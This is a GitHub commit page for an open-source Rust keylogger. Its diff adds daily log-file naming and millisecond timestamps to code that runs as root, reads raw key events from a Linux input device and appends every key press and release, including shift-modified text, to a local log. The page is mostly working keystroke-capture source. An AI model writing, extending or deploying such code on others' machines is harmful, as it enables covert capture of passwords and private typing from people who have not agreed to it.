Skip to content

Commit

Permalink
Datetime formatting
Browse files Browse the repository at this point in the history
  • Loading branch information
XX committed Jul 30, 2018
1 parent ae95506 commit e816057
Show file tree
Hide file tree
Showing 3 changed files with 88 additions and 19 deletions.
40 changes: 39 additions & 1 deletion Cargo.lock

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

8 changes: 6 additions & 2 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,10 +1,14 @@
[package]
name = "keylogger"
version = "0.0.1"
authors = ["Gulshan Singh <[email protected]>"]
version = "0.1.0"
authors = [
"Gulshan Singh <[email protected]>",
"Alexander Mescheryakov <[email protected]>"
]

[dependencies]
getopts = "0.2"
libc = "0.2"
env_logger = "0.5"
log = "0.4"
chrono = "0.4"
59 changes: 43 additions & 16 deletions src/main.rs
Original file line number Diff line number Diff line change
@@ -1,31 +1,31 @@
extern crate getopts;
extern crate env_logger;
extern crate libc;

extern crate chrono;
#[macro_use]
extern crate log;

mod input;

use input::{is_key_event, is_key_press, is_key_release, is_shift, get_key_text, InputEvent};

use std::process::{exit, Command};
use std::fs::{File, OpenOptions};
use std::io::{Read, Write};
use std::path::Path;
use std::{env, mem};

use getopts::Options;
use chrono::{NaiveDateTime, DateTime, Datelike, Timelike, Local, Utc};
use input::{is_key_event, is_key_press, is_key_release, is_shift, get_key_text, InputEvent};

const VERSION: &'static str = env!("CARGO_PKG_VERSION");

#[derive(Debug)]
struct Config {
device_file: String,
log_file: String
log_file: Option<String>
}

impl Config {
fn new(device_file: String, log_file: String) -> Self {
fn new(device_file: String, log_file: Option<String>) -> Self {
Config {
device_file,
log_file
Expand All @@ -41,12 +41,12 @@ fn main() {
let config = parse_args();
debug!("Config: {:?}", config);

let mut log_file = OpenOptions::new()
.create(true)
.write(true)
.append(true)
.open(config.log_file)
.expect("Can't open log file");
let log_name = log_name_from(&Local::now());
let mut log_file = if let Some(ref name) = config.log_file {
open_log_file(name)
} else {
open_log_file(&log_name)
};
let mut device_file = File::open(&config.device_file)
.expect("Can't open device file");

Expand Down Expand Up @@ -78,27 +78,54 @@ fn main() {
continue;
};

let datetime = convert_time(event.tv_sec, event.tv_usec);
let time = datetime.hour() * 60 * 60 * 1000 + datetime.minute() * 60 * 1000 + datetime.second() * 1000 + datetime.nanosecond() / 1_000_000;
let text = format!(
"{}.{} {} {}\n",
event.tv_sec, event.tv_usec, event_mark, get_key_text(event.code, shift_pressed)
"{:08} {} {}\n",
time, event_mark, get_key_text(event.code, shift_pressed)
);

if config.log_file.is_none() {
let current_log_name = log_name_from(&datetime);
if log_name != current_log_name {
log_file = open_log_file(current_log_name);
}
}

let num_bytes = log_file.write(text.as_bytes())
.expect("Can't write to log file");

if num_bytes != text.len() {
panic!("Error while writing to log file");
}
}
}
}

fn open_log_file<P: AsRef<Path>>(name: P) -> File {
OpenOptions::new()
.create(true)
.write(true)
.append(true)
.open(name)
.expect("Can't open log file")
}

fn root_check() {
let euid = unsafe { libc::geteuid() };
if euid != 0 {
panic!("Must run as root user");
}
}

fn log_name_from(datetime: &DateTime<Local>) -> String {
format!("{:04}-{:02}-{:02}.log", datetime.year(), datetime.month(), datetime.day())
}

fn convert_time(secs: isize, micros: isize) -> DateTime<Local> {
let naive_datetime = NaiveDateTime::from_timestamp(secs as i64, micros as u32 * 1000);
DateTime::<Utc>::from_utc(naive_datetime, Utc).with_timezone(&Local)
}

fn parse_args() -> Config {
fn print_usage(program: &str, opts: Options) {
let brief = format!("Usage: {} [options]", program);
Expand Down Expand Up @@ -126,7 +153,7 @@ fn parse_args() -> Config {
}

let device_file = matches.opt_str("d").unwrap_or_else(|| get_default_device());
let log_file = matches.opt_str("f").unwrap_or("keys.log".to_string());
let log_file = matches.opt_str("f");

Config::new(device_file, log_file)
}
Expand Down

0 comments on commit e816057

Please sign in to comment.